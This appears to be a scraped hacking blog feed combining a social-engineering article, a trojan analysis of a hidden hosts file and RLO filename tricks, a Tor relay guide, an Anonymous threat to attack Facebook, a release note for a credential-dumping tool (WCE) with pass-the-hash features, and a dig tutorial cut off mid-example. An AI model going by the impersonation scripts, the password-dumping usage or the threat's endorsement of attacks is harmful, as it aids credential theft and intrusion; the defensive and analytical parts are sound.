The strangers knew the CFO was out of town, so they were able to enter his office and obtain financial data off his unlocked computer. They dug through the corporate trash, finding all kinds of useful documents. They asked a janitor for a garbage pail in which to place their contents and carried all of this data out of the building in their hands. The strangers had studied the CFO's voice, so they were able to phone, pretending to be the CFO, in a rush, desperately in need of his network password. From there, they used regular technical hacking tools to gain super-user access into the system.

In this case, the strangers were network consultants performing a security audit for the CFO without any other employees' knowledge. They were never given any privileged information from the CFO but were able to obtain all the access they wanted through social engineering. (This story was recounted by Kapil Raina, currently a security expert at Verisign and co-author of mCommerce Security: A Beginner's Guide, based on an actual workplace experience with a previous employer.)

Definitions

Most articles I’ve read on the topic of social engineering begin with some sort of definition like “the art and science of getting people to comply to your wishes” (Bernz 2), “an outside hacker’s use of psychological tricks on legitimate users of a computer system, in order to obtain information he needs to gain access to the system” (Palumbo), or “getting needed information (for example, a password) from a person rather than breaking into a system” (Berg). In reality, social engineering can be any and all of these things, depending upon where you sit. The one thing that everyone seems to agree upon is that social engineering is generally a hacker’s clever manipulation of the natural human tendency to trust. The hacker’s goal is to obtain information that will allow him/her to gain unauthorized access to a valued system and the information that resides on that system.

Security is all about trust. Trust in protection and authenticity. Generally agreed upon as the weakest link in the security chain, the natural human willingness to accept someone at his or her word leaves many of us vulnerable to attack. Many experienced security experts emphasize this fact. No matter how many articles are published about network holes, patches, and firewalls, we can only reduce the threat so much... and then it’s up to Maggie in accounting or her friend, Will, dialing in from a remote site, to keep the corporate network secured.

Target and Attack

The basic goals of social engineering are the same as hacking in general: to gain unauthorized access to systems or information in order to commit fraud, network intrusion, industrial espionage, identity theft, or simply to disrupt the system or network. Typical targets include telephone companies and answering services, big-name corporations and financial institutions, military and government agencies, and hospitals. The Internet boom had its share of industrial engineering attacks in start-ups as well, but attacks generally focus on larger entities.

Finding good, real-life examples of social engineering attacks is difficult. Target organizations either do not want to admit that they have been victimized (after all, to admit a fundamental security breach is not only embarrassing, it may damaging to the organization’s reputation) and/or the attack was not well documented so that nobody is really sure whether there was a social engineering attack or not.

As for why organizations are targeted through social engineering – well, it’s often an easier way to gain illicit access than are many forms of technical hacking. Even for technical people, it’s often much simpler to just pick up the phone and ask someone for his password. And most often, that’s just what a hacker will do.

Social engineering attacks take place on two levels: the physical and the psychological. First, we'll focus on the physical setting for these attacks: the workplace, the phone, your trash, and even on-line. In the workplace, the hacker can simply walk in the door, like in the movies, and pretend to be a maintenance worker or consultant who has access to the organization. Then the intruder struts through the office until he or she finds a few passwords lying around and emerges from the building with ample information to exploit the network from home later that night. Another technique to gain authentication information is to just stand there and watch an oblivious employee type in his password.

Social Engineering by Phone

The most prevalent type of social engineering attack is conducted by phone. A hacker will call up and imitate someone in a position of authority or relevance and gradually pull information out of the user. Help desks are particularly prone to this type of attack. Hackers are able to pretend they are calling from inside the corporation by playing tricks on the PBX or the company operator, so caller-ID is not always the best defense. Here’s a classic PBX trick, care of the Computer Security Institute: “’Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me.’”

And here’s an even better one: “They’ll call you in the middle of the night: ‘Have you been calling Egypt for the last six hours?’ ‘No.’ And they’ll say, ‘well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about $2,000 worth of charges from somebody using your card. You’re responsible for the $2,000, you have to pay that...’ They’ll say, ‘I’m putting my job on the line by getting rid of this $2,000 charge for you. But you need to read off that AT&T card number and PIN and then I’ll get rid of the charge for you.’ People fall for it.” (Computer Security Institute).

Help desks are particularly vulnerable because they are in place specifically to help, a fact that may be exploited by people who are trying to gain illicit information. Help desk employees are trained to be friendly and give out information, so this is a gold mine for social engineering. Most help desk employees are minimally educated in the area of security and get paid peanuts, so they tend to just answer questions and go on to the next phone call. This can create a huge security hole.

The facilitator of a live Computer Security Institute demonstration, neatly illustrated the vulnerability of help desks when he “dialed up a phone company, got transferred around, and reached the help desk. ‘Who’s the supervisor on duty tonight?’ ‘Oh, it’s Betty.’ ‘Let me talk to Betty.’ [He’s transferred.] ‘Hi Betty, having a bad day?’ ‘No, why?...Your systems are down.’ She said, ‘my systems aren’t down, we’re running fine.’ He said, ‘you better sign off.’ She signed off. He said, ‘now sign on again.’ She signed on again. He said, ‘we didn’t even show a blip, we show no change.’ He said, ‘sign off again.’ She did. ‘Betty, I’m going to have to sign on as you here to figure out what’s happening with your ID. Let me have your user ID and password.’ So this senior supervisor at the Help Desk tells him her user ID and password.” Brilliant.

A variation on the phone theme is the pay phone or ATM. Hackers really do shoulder surf and obtain credit card numbers and PINs this way. (It happened to a friend of mine in a large US airport.) People always stand around phone booths at airports, so this is a place to be extra cautious.

Dumpster Diving

Dumpster diving, also known as trashing, is another popular method of social engineering. A huge amount of information can be collected through company dumpsters. The LAN Times listed the following items as potential security leaks in our trash: “company phone books, organizational charts, memos, company policy manuals, calendars of meetings, events and vacations, system manuals, printouts of sensitive data or login names and passwords, printouts of source code, disks and tapes, company letterhead and memo forms, and outdated hardware.”

These sources can provide a rich vein of information for the hacker. Phone books can give the hackers names and numbers of people to target and impersonate. Organizational charts contain information about people who are in positions of authority within the organization. Memos provide small tidbits of useful information for creating authenticity. Policy manuals show hackers how secure (or insecure) the company really is. Calendars are great – they may tell attackers which employees are out of town at a particular time. System manuals, sensitive data, and other sources of technical information may give hackers the exact keys they need to unlock the network. Finally, outdated hardware, particularly hard drives, can be restored to provide all sorts of useful information. (We’ll discuss how to dispose of all of this in the second installment in this series; suffice it to say, the shredder is a good place to start.)

On-Line Social Engineering

The Internet is fertile ground for social engineers looking to harvest passwords. The primary weakness is that many users often repeat the use of one simple password on every account: Yahoo, Travelocity, Gap.com, whatever. So once the hacker has one password, he or she can probably get into multiple accounts. One way in which hackers have been known to obtain this kind of password is through an on-line form: they can send out some sort of sweepstakes information and ask the user to put in a name (including e-mail address – that way, she might even get that person’s corporate account password as well) and password. These forms can be sent by e-mail or through US Mail. US Mail provides a better appearance that the sweepstakes might be a legitimate enterprise.

Another way hackers may obtain information on-line is by pretending to be the network administrator, sending e-mail through the network and asking for a user’s password. This type of social engineering attack doesn’t generally work, because users are generally more aware of hackers when online, but it is something of which to take note. Furthermore, pop-up windows can be installed by hackers to look like part of the network and request that the user reenter his username and password to fix some sort of problem. At this point in time, most users should know not to send passwords in clear text (if at all), but it never hurts to have an occasional reminder of this simple security measure from the System Administrator. Even better, sys admins might want to warn their users against disclosing their passwords in any fashion other than a face-to-face conversation with a staff member who is known to be authorized and trusted.

E-mail can also be used for more direct means of gaining access to a system. For instance, mail attachments sent from someone of authenticity can carry viruses, worms and Trojan horses. A good example of this was an AOL hack, documented by VIGILANTe: “In that case, the hacker called AOL’s tech support and spoke with the support person for an hour. During the conversation, the hacker mentioned that his car was for sale cheaply. The tech supporter was interested, so the hacker sent an e-mail attachment ‘with a picture of the car’. Instead of a car photo, the mail executed a backdoor exploit that opened a connection out from AOL through the firewall.”

Persuasion

The hackers themselves teach social engineering from a psychological point-of-view, emphasizing how to create the perfect psychological environment for the attack. Basic methods of persuasion include: impersonation, ingratiation, conformity, diffusion of responsibility, and plain old friendliness. Regardless of the method used, the main objective is to convince the person disclosing the information that the social engineer is in fact a person that they can trust with that sensitive information. The other important key is to never ask for too much information at a time, but to ask for a little from each person in order to maintain the appearance of a comfortable relationship.

Impersonation generally means creating some sort of character and playing out the role. The simpler the role, the better. Sometimes this could mean just calling up, saying: “Hi, I’m Joe in MIS and I need your password,” but that doesn’t always work. Other times, the hacker will study a real individual in an organization and wait until that person is out of town to impersonate him over the phone. According to Bernz, a hacker who has written extensively on the subject, they use little boxes to disguise their voices and study speech patterns and org charts. I’d say it’s the least likely type of impersonation attack because it takes the most preparation, but it does happen.

Some common roles that may be played in impersonation attacks include: a repairman, IT support, a manager, a trusted third party (for example, the President’s executive assistant who is calling to say that the President okayed her requesting certain information), or a fellow employee. In a huge company, this is not that hard to do. There is no way to know everyone - IDs can be faked. Most of these roles fall under the category of someone with authority, which leads us to ingratiation. Most employees want to impress the boss, so they will bend over backwards to provide required information to anyone in power.

Conformity is a group-based behavior, but can be used occasionally in the individual setting by convincing the user that everyone else has been giving the hacker the same information now requested, such as if the hacker is impersonating an IT manager. When hackers attack in such a way as to diffuse the responsibility of the employee giving the password away, that alleviates the stress on the employee.

When in doubt, the best way to obtain information in a social engineering attack is just to be friendly. The idea here is that the average user wants to believe the colleague on the phone and wants to help, so the hacker really only needs to be basically believable. Beyond that, most employees respond in kind, especially to women. Slight flattery or flirtation might even help soften up the target employee to co-operate further, but the smart hacker knows when to stop pulling out information, just before the employee suspects anything odd. A smile, if in person, or a simple “thank you” clenches the deal. And if that’s not enough, the new user routine often works too: “I’m confused, (batting eyelashes) can you help me?”

Reverse Social Engineering

A final, more advanced method of gaining illicit information is known as “reverse social engineering”. This is when the hacker creates a persona that appears to be in a position of authority so that employees will ask him for information, rather than the other way around. If researched, planned and executed well, reverse social engineering attacks may offer the hacker an even better chance of obtaining valuable data from the employees; however, this requires a great deal of preparation, research, and pre-hacking to pull off.

According to Methods of Hacking: Social Engineering, a paper by Rick Nelson, the three parts of reverse social engineering attacks are sabotage, advertising, and assisting. The hacker sabotages a network, causing a problem arise. That hacker then advertises that he is the appropriate contact to fix the problem, and then, when he comes to fix the network problem, he requests certain bits of information from the employees and gets what he really came for. They never know it was a hacker, because their network problem goes away and everyone is happy.

Conclusion

Of course, no social engineering article is complete without mention of Kevin Mitnick, so I’ll conclude with a quote from him from an article in Security Focus: “You could spend a fortune purchasing technology and services...and your network infrastructure could still remain vulnerable to old-fashioned manipulation.” Stay tuned for Part II: Combat Strategies, which will look at ways of combatting attacks by identifying attacks, and by using preventative technology, training, and policies.

To read Social Engineering, Part Two: Combat Strategies, click here.

Malware Analysics (Screenshots) - URL Redirection

noreply@blogger.com (h4ckfreak) — Fri, 30 Mar 2012 08:05:00 +0000

Today lets have deeper Insight of Malware Analysics with Mindset of FORENSIC INVESTIGATOR !Alrite JUMP IN !!!

(SHA1: fbe71968d4c5399c2906b56d9feadf19a35beb97, detected as TrojanDropper:Win32/Vundo.L). This trojan hijacks the hosts “vk.com” and “vkontakte.ru” (both social networking sites in Russia)and redirects them to 92.38.209.252, but achieves this in an unusual way.

A common method used to hijack a website and redirect it to a site of the attacker’s choice is to add an entry in the Windows hosts file located in the %SystemRoot%\system32\drivers\etc directory.
However, when we open this file on an affected computer, it doesn’t contain any entries related to “vk.com” and “vkontakte.ru”, as you can see in the following example:

But when we show hidden files, we can see another “hosts” file. It is hidden, as in the following example

There are two files with exactly the same name, “hosts”, in the etc directory! How can this happen?
As we know, it is not possible for a directory to contain two files with the same name.

Think ..!! Think ,...!!

When we copy the file names to notepad, save them as a Unicode text file and open them with a hex editor we see the following (the upper is for the first “hosts” file, the lower is for the second “hosts” file)

Technical Informataion :

For Unicode (UTF-16), the 0x006F is the same as 0x6F in ASCII, which is the character “o”. But what’s the 0x043E in Unicode? We can find it in Unicode chart table (Range: 0400-04FF). The following is part of this table.

So Now ,

We can see that Unicode 0x043E is a Cyrillic character, and it looks very much like the English character “o”.
So the hidden “hosts” file is the real hosts file in fact. When we open this file, we can see that two entries have been added to the end of the file:

Mystery solved!
This is not the first time we’ve seen a hacker using Unicode characters to mislead people. In Aug 2010, a Chinese hacker disclosed a trick with a Unicode control character used to mislead people into running an executable file. Hackers use Unicode control characters 0x202E (RLO) to reverse parts of a special file name, which changes the look of the file name in Windows Explorer.
For example, there is a file named as “picgpj.exe”, as the following:

The “gpj.exe” part of this name is specially crafted. When inserting an RLO character before “gpj.exe” in this name, the whole name appears as the following:

Hackers also usually use a picture as the file icon. Unwary people treat this file as a picture, and blindly double-click to open it, thus running the executable. Obviously, this type of trick is useless for Unicode aware programs, but it is not easy for the eyes of people to identify the problem.
Can we believe our eyes? The answer is... not always.

H@CKFR3AK

Setup a Tor relay or Tor bridge to help Censorship Country Users

noreply@blogger.com (h4ckfreak) — Sun, 18 Mar 2012 21:31:00 +0000

For those in Iran. Here is a guide in Farsi for installing Tor so you can surf the web without censorship: http://greenoolo.pieceoftheworld.org/

IMPORTANT UPDATE (23/06/09): New email addresses have been added, and others updated. If you have Tor setup in bridge mode, resend your connection information to us.

IMPORTANT UPDATE #2: When posting in the comments section do not post your normal email address, do not use your name/alias (make up a new one) or post other personally identifiable information. This is very important.
UPDATE: slseveral sends this interesting read: http://blog.torproject.org/blog/measuring-tor-and-iran That might ease those wondering if we’re actually helping

What is Tor? (from https://www.torproject.org/) “Tor protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. Tor works with many of your existing applications, including web browsers, instant messaging clients, remote login, and other applications based on the TCP protocol.”
This is something of great value to our friends in Iran.
Get Tor
https://www.torproject.org/easy-download.html.en
and install (detailed instructions Windows, Os X) (short version: double click install file)

Relay or Bridge? A relay will be a proxy in the Tor network and help speed up the network for the people using it – a bridge, on the other hand, will enable people to reach the Tor network if the relays are blacklisted.
If you setup a bridge, you will need to get its address to the people that are going to use it (more on that later. Short: do not post it publicly, like in the comments below).
IMPORTANT: We’re going to need both sorts (mostly relays though), so please answer the poll (at the end) on which type you’ve set up. And if the type doesn’t matter to you, please check the poll to see how others have chosen and balance it up.

Relay: (from https://www.torproject.org/docs/tor-doc-relay.html.en#setup)

Right click on the Vidalia icon in your task bar. Choose Control Panel.
Click Setup Relaying.
Choose Relay Traffic for the Tor network.
Enter a nickname for your relay. (Optional, enter contact information.)
Change ports from the default ports (needs to be >1024 on Os X and Linux/Unix)
If you have UPnP: Choose Attempt to automatically configure port forwarding. Push the Test button to see if it works. If it does work, great. If not, see “Firewall/router” below.
Choose the Bandwidth Limits tab. Select how much bandwidth you want to provide for Tor users like yourself.
Choose the Exit Policies tab. If you want to allow others to use your relay for these services, don’t change anything. Un-check the services you don’t want to allow through your relay. If you want to be a non-exit relay, un-check all services.
Click the Ok button. See “Check if it works” below for confirmation that the relay is working correctly.

Firewall/Router:
If you are using a firewall, open a hole in your firewall/router so incoming connections can reach the ports you configured (Relay Port (plus Directory Port if you enabled it)). Make sure you allow all outgoing connections, so your relay can reach the other Tor relays.
Check if it works:
Restart your relay. If it logs any warnings, address them. Look at the updates at the end of the post for help resolving issues that arise.
As soon as your relay manages to connect to the network, it will try to determine whether the ports you configured are reachable from the outside. This may take up to 20 minutes. Look for a log entry like Self-testing indicates your ORPort is reachable from the outside. Excellent. If you don’t see this message, it means that your relay is not reachable from the outside — you should re-check your firewalls, check that it’s testing the IP and port you think it should be testing, etc.
Problems?
And now what?
Well, congratulations, this is it. People can now surf the internet without fear of filtering/blocking or surveillance. Collect your karma points and continue following https://twitter.com/#search?q=%23IranElection or http://www.huffingtonpost.com/2009/06/13/iran-demonstrations-viole_n_215189.html

Bridge:

Right click on the Vidalia icon in your task bar. Choose Control Panel.
Click Setup Relaying.
Click Help censored users reach the Tor network
Enter a nickname for your relay. (Optional, enter contact information.)
Change ports from the default ports (needs to be >1024 on Os X and Linux/Unix)
If you have UPnP: Choose Attempt to automatically configure port forwarding. Push the Test button to see if it works. If it does work, great. If not, see “Firewall/router” below.
Choose the Bandwidth Limits tab. Select how much bandwidth you want to provide for Tor users like yourself.
Click the Ok button. See “Check if it works” below for confirmation that the bridge is working correctly.
Now scroll down to “Get the address to those that need it” and follow the instructions. Do NOT publish your connection information in the comments.

Firewall/Router:
If you are using a firewall, open a hole in your firewall/router so incoming connections can reach the ports you configured (Relay Port (plus Directory Port if you enabled it)). Make sure you allow all outgoing connections, so your relay can reach the other Tor relays.
Check if it works:
Restart your bridge. If it logs any warnings, address them. Look at the updates at the end of the post for help resolving issues that arise.
As soon as your bridge manages to connect to the network, it will try to determine whether the ports you configured are reachable from the outside. This may take up to 20 minutes. Look for a log entry like Self-testing indicates your ORPort is reachable from the outside. Excellent. If you don’t see this message, it means that your relay is not reachable from the outside — you should re-check your firewalls, check that it’s testing the IP and port you think it should be testing, etc.
Problems?
Get that address to those that need it (IMPORTANT)
After successfully setting up the bridge, click “Setup Relay” and you will see your IP port and a string of chars, this is your bridge address.
Your bridge address is not posted publicly, you need to get it to those that need it.
Email this bridge address to anonygreen@gmail.com, gr88proxies@googlegroups.com, tor@austinheap.com, irancurtain@iansbrain.com and protesterhelp@gmail.com or Direct Message (private message) in Twitter to @iran09, @austinheap, @protesterhelp, @persiankiwi or @stopahmadi. If you email be sure to include “Tor bridge” in the subject line.

And now what? Well, congratulations, this is it. People can now surf the internet without fear of filtering/blocking or surveillance. Collect your karma points and continue following https://twitter.com/#search?q=%23IranElection or http://www.huffingtonpost.com/2009/06/13/iran-demonstrations-viole_n_215189.html

Poll:

Which type have you set up? (please, only answer this when you have a working relay/bridge)

BridgeRelay

View Results
Polldaddy.com

Update 1:
GeoIP error:
Ian Says:
19th June, 2009 at 02:38 |
download this http://git.torproject.org/checkout/tor/master/src/config/geoip and put it in C:\Documents and Settings\{username}\Application Data\Tor\
Open ports in the router:

Carl Says:
21st June, 2009 at 13:01 |
Then you need to forward that port from your router to your computer.
See: http://portforward.com/ for info and howto:s
Update2:
DNS hijacking:
From David and slseveral:
http://dnsresolvers.com/ got me past the hijacking errors (Verizon FIOS DNS servers.)
Update3:
DIR Port not reachable, but OR port is.
Boogs says:
“THE SOLUTION, at least for me, was to download the latest unstable version at http://www.torproject.org/download.html.en and presto, now everything works just like it should. There must be a bug in the latest stable version.”

How can you help, 2nd edition. Talk to friends and spread the word of the Iranian struggle for freedom. Refer them to this guide if you think it was good.
If you know Farsi, please help translate
https://www.torproject.org/docs/tor-doc-windows.html.en
https://www.torproject.org/docs/tor-doc-osx.html.en

Attention ! We`re Attacking FB from May 1St -By Anonymous

noreply@blogger.com (h4ckfreak) — Sun, 11 Mar 2012 11:30:00 +0000

Attention citizens of the world, We are anonymous. The popular social network face book is in the midst of an alternative and long awaited event. Members of anonymous have decide it's time to show the face book corporation and the people of the world that the website is in fact vulnerable and that it's possible to be taken down with little effort. There has been multiple releases of face book related operations but none of them have actually had much of an effect, if any. Unlike the other video's we aren't going to bullshit the public about worthless denile of service attacks against face book, in the very near future anonymous will target face books main server farm in an attempt to cripple the root service computers, power supply system and data systems that control the basic web servers.

This inevitable cyber assault will take place on may the first two thousand and twelve. We will not stop until we have succeeded, we will finally kill face book forever and no one is going to stop us. for too long face book has controlled and manipulated its users, and on this historic yet anarchic day anonymous will prove to the world, that we are no longer playing. We hope, almost pray that you heed this warning. face book the game is over, anonymous wins. on may the first two thousand and 12 face book will systematically fail. We are anonymous, we are legion, we do not forget, we do not forgive, face book, expect us.

LULZ We DDoS'd Facebook https://www.youtube.com/watch?v=p1g6I3h6XBM

https://twitter.com/#!/FawkesSecurity
https://www.facebook.com/FawkesS3curity
https://www.facebook.com/groups/160102654090712/ fawkes_security@hotmail.com
WE ARE ANONYMOUS
WE ARE LEGION
WE DO NOT FORGIVE
WE DO NOT FORGET
EXPECT US.

By
h@ckfr3ak

WCE v1.3beta 32bit released. (Must needed for Admins)

noreply@blogger.com (h4ckfreak) — Sun, 11 Mar 2012 07:51:00 +0000

Download link: http://www.ampliasecurity.com/research/wce_v1_3beta.tgz

Changelog:

version 1.3beta:
March 8, 2012
* Bug fixes
* Extended support to obtain NTLM hashes without code injection
* Added feature to dump login cleartext passwords stored by the Digest
Authentication package

Example:

* Dump cleartext passwords stored by the Digest Authentication package

C:\>wce -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia
Security -
by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

test\MYDOMAIN:mypass1234
NETWORK SERVICE\WORKGROUP:test

The cleartext passwords dumped include passwords used to login to the
Windows box interactively.

What is WCE?
------------

Windows Credentials Editor (WCE) v1.3beta allows you to

NTLM authentication:

* List logon sessions and add, change, list and delete associated
credentials (e.g.: LM/NT hashes)
* Perform pass-the-hash on Windows natively
* Obtain NT/LM hashes from memory (from interactive logons, services,
remote desktop connections, etc.) which can be
used to authenticate to other systems. WCE can perform this task without
injecting code, just by reading and decrypting information stored in
Windows internal memory structures. It also has the capability to
automatically switch to code injection when the aforementioned method
cannot be performed

Kerberos authentication:

* Dump Kerberos tickets (including the TGT) stored in Windows machines
* Reuse/Load those tickets on another Windows machines, to authenticate
to other systems and services
* Reuse/Load those tickets on *Unix machines, to authenticate to other
systems and services

Digest Authentication:

* Obtain cleartext passwords entered by the user when logging into a
Windows system, and stored by the Windows Digest Authentication security
package

Supported Platforms
-------------------
Windows Credentials Editor supports Windows XP, 2003, Vista, 7 and 2008.

Additional information
----------------------
http://www.ampliasecurity.com/research/wcefaq.html

Thanks,

h@ckfr3ak

Exploring all DNS Records using DIG Commands

noreply@blogger.com (h4ckfreak) — Sun, 11 Mar 2012 07:39:00 +0000

Using dig command you can query DNS name servers for your DNS lookup related tasks. This article explains 10 examples on how to use dig command.

1. Simple dig Command Usage (Understand dig Output)

When you pass a domain name to the dig command, by default it displays the A record (the ip-address of the site that is queried) as shown below.

In this example, it displays the A record of redhat.com in the “ANSWER SECTION” of the dig command output.

$ dig redhat.com

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62863
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 3

;; QUESTION SECTION:
;redhat.com.                    IN      A

;; ANSWER SECTION:
redhat.com.             37      IN      A       209.132.183.81

;; AUTHORITY SECTION:
redhat.com.             73      IN      NS      ns4.redhat.com.
redhat.com.             73      IN      NS      ns3.redhat.com.
redhat.com.             73      IN      NS      ns2.redhat.com.
redhat.com.             73      IN      NS      ns1.redhat.com.

;; ADDITIONAL SECTION:
ns1.redhat.com.         73      IN      A       209.132.186.218
ns2.redhat.com.         73      IN      A       209.132.183.2
ns3.redhat.com.         73      IN      A       209.132.176.100

;; Query time: 13 msec
;; SERVER: 209.144.50.138#53(209.144.50.138)
;; WHEN: Thu Jan 12 10:09:49 2012
;; MSG SIZE  rcvd: 164

The dig command output has the following sections:

Header: This displays the dig command version number, the global options used by the dig command, and few additional header information.
QUESTION SECTION: This displays the question it asked the DNS. i.e This is your input. Since we said ‘dig redhat.com’, and the default type dig command uses is A record, it indicates in this section that we asked for the A record of the redhat.com website
ANSWER SECTION: This displays the answer it receives from the DNS. i.e This is your output. This displays the A record of redhat.com
AUTHORITY SECTION: This displays the DNS name server that has the authority to respond to this query. Basically this displays available name servers of redhat.com
ADDITIONAL SECTION: This displays the ip address of the name servers listed in the AUTHORITY SECTION.
Stats section at the bottom displays few dig command statistics including how much time it took to execute this query

2. Display Only the ANSWER SECTION of the Dig command Output

For most part, all you need to look at is the “ANSWER SECTION” of the dig command. So, we can turn off all other sections as shown below.

+nocomments – Turn off the comment lines
+noauthority – Turn off the authority section
+noadditional – Turn off the additional section
+nostats – Turn off the stats section
+noanswer – Turn off the answer section (Of course, you wouldn’t want to turn off the answer section)

The following dig command displays only the ANSWER SECTION.

$ dig redhat.com +nocomments +noquestion +noauthority +noadditional +nostats

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com +nocomments +noquestion +noauthority +noadditional +nostats
;; global options: +cmd
redhat.com.             9       IN      A       209.132.183.81

Instead of disabling all the sections that we don’t want one by one, we can disable all sections using +noall (this turns off answer section also), and add the +answer which will show only the answer section.

The above command can also be written in a short form as shown below, which displays only the ANSWER SECTION.

$ dig redhat.com +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com +noall +answer
;; global options: +cmd
redhat.com.             60      IN      A       209.132.183.81

3. Query MX Records Using dig -t MX

To query MX records, pass MX as an argument to the dig command as shown below.

$ dig redhat.com  MX +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com MX +noall +answer
;; global options: +cmd
redhat.com.             513     IN      MX      5 mx1.redhat.com.
redhat.com.             513     IN      MX      10 mx2.redhat.com.

You can also use option -t to pass the query type (for example: MX) as shown below.

$ dig -t MX redhat.com +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> -t MX redhat.com +noall +answer
;; global options: +cmd
redhat.com.             489     IN      MX      10 mx2.redhat.com.
redhat.com.             489     IN      MX      5 mx1.redhat.com.

4. Query NS Records Using dig -t NS

To query the NS record use the type NS as shown below.

$ dig redhat.com NS +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com NS +noall +answer
;; global options: +cmd
redhat.com.             558     IN      NS      ns2.redhat.com.
redhat.com.             558     IN      NS      ns1.redhat.com.
redhat.com.             558     IN      NS      ns3.redhat.com.
redhat.com.             558     IN      NS      ns4.redhat.com.

You can also use option -t to pass the query type (for example: NS) as shown below.

$ dig -t NS redhat.com +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> -t NS redhat.com +noall +answer
;; global options: +cmd
redhat.com.             543     IN      NS      ns4.redhat.com.
redhat.com.             543     IN      NS      ns1.redhat.com.
redhat.com.             543     IN      NS      ns3.redhat.com.
redhat.com.             543     IN      NS      ns2.redhat.com.

5. View ALL DNS Records Types Using dig -t ANY

To view all the record types (A, MX, NS, etc.), use ANY as the record type as shown below.

$ dig redhat.com ANY +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com ANY +noall +answer
;; global options: +cmd
redhat.com.             430     IN      MX      5 mx1.redhat.com.
redhat.com.             430     IN      MX      10 mx2.redhat.com.
redhat.com.             521     IN      NS      ns3.redhat.com.
redhat.com.             521     IN      NS      ns1.redhat.com.
redhat.com.             521     IN      NS      ns4.redhat.com.
redhat.com.             521     IN      NS      ns2.redhat.com.

(or) Use -t ANY

$ dig -t ANY redhat.com  +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> -t ANY redhat.com +noall +answer
;; global options: +cmd
redhat.com.             367     IN      MX      10 mx2.redhat.com.
redhat.com.             367     IN      MX      5 mx1.redhat.com.
redhat.com.             458     IN      NS      ns4.redhat.com.
redhat.com.             458     IN      NS      ns1.redhat.com.
redhat.com.             458     IN      NS      ns2.redhat.com.
redhat.com.             458     IN      NS      ns3.redhat.com.

6. View Short Output Using dig +short

To view just the ip-address of a web site (i.e the A record), use the short form option as shown below.

$ dig redhat.com +short
209.132.183.81

You can also specify a record type that you want to view with the +short option.

$ dig redhat.com ns +short
ns2.redhat.com.
ns3.redhat.com.
ns1.redhat.com.
ns4.redhat.com.

7. DNS Reverse Look-up Using dig -x

To perform a DNS reverse look up using the ip-address using dig -x as shown below
For example, if you just have an external ip-address and would like to know the website that belongs to it, do the following.

$ dig -x 209.132.183.81 +short
www.redhat.com.

To view the full details of the DNS reverse look-up, remove the +short option.

$ dig -x 209.132.183.81

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> -x 209.132.183.81
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62435
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 3

;; QUESTION SECTION:
;81.183.132.209.in-addr.arpa.   IN      PTR

;; ANSWER SECTION:
81.183.132.209.in-addr.arpa. 600 IN     PTR     www.redhat.com.

;; AUTHORITY SECTION:
183.132.209.in-addr.arpa. 248   IN      NS      ns2.redhat.com.
183.132.209.in-addr.arpa. 248   IN      NS      ns1.redhat.com.
183.132.209.in-addr.arpa. 248   IN      NS      ns3.redhat.com.
183.132.209.in-addr.arpa. 248   IN      NS      ns4.redhat.com.

;; ADDITIONAL SECTION:
ns1.redhat.com.         363     IN      A       209.132.186.218
ns2.redhat.com.         363     IN      A       209.132.183.2
ns3.redhat.com.         363     IN      A       209.132.176.100

;; Query time: 35 msec
;; SERVER: 209.144.50.138#53(209.144.50.138)
;; WHEN: Thu Jan 12 10:15:00 2012
;; MSG SIZE  rcvd: 193

8. Use a Specific DNS server Using dig @dnsserver

By default dig uses the DNS servers defined in your /etc/resolv.conf file.
If you like to use a different DNS server to perform the query, specify it in the command line as @dnsserver.
The following example uses ns1.redhat.com as the DNS server to get the answer (instead of using the DNS servers from the /etc/resolv.conf file).

$ dig @ns1.redhat.com redhat.com

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> @ns1.redhat.com redhat.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20963
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 4
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;redhat.com.                    IN      A

;; ANSWER SECTION:
redhat.com.             60      IN      A       209.132.183.81

;; AUTHORITY SECTION:
redhat.com.             600     IN      NS      ns1.redhat.com.
redhat.com.             600     IN      NS      ns4.redhat.com.
redhat.com.             600     IN      NS      ns3.redhat.com.
redhat.com.             600     IN      NS      ns2.redhat.com.

;; ADDITIONAL SECTION:
ns1.redhat.com.         600     IN      A       209.132.186.218
ns2.redhat.com.         600     IN      A       209.132.183.2
ns3.redhat.com.         600     IN      A       209.132.176.100
ns4.redhat.com.         600     IN      A       209.132.188.218

;; Query time: 160 msec
;; SERVER: 209.132.186.218#53(209.132.186.218)
;; WHEN: Thu Jan 12 10:22:11 2012
;; MSG SIZE  rcvd: 180

9. Bulk DNS Query Using dig -f (and command line)

Query multiple websites using a data file:

You can perform a bulk DNS query based on the data from a file.
First, create a sample names.txt file that contains the website that you want to query.

$ vi names.txt
redhat.com
centos.org

Next, execute dig -f as shown below, which will perform DNS query for the websites listed in the names.txt file and display the output.

$ dig -f names.txt +noall +answer
redhat.com.             60      IN      A       209.132.183.81
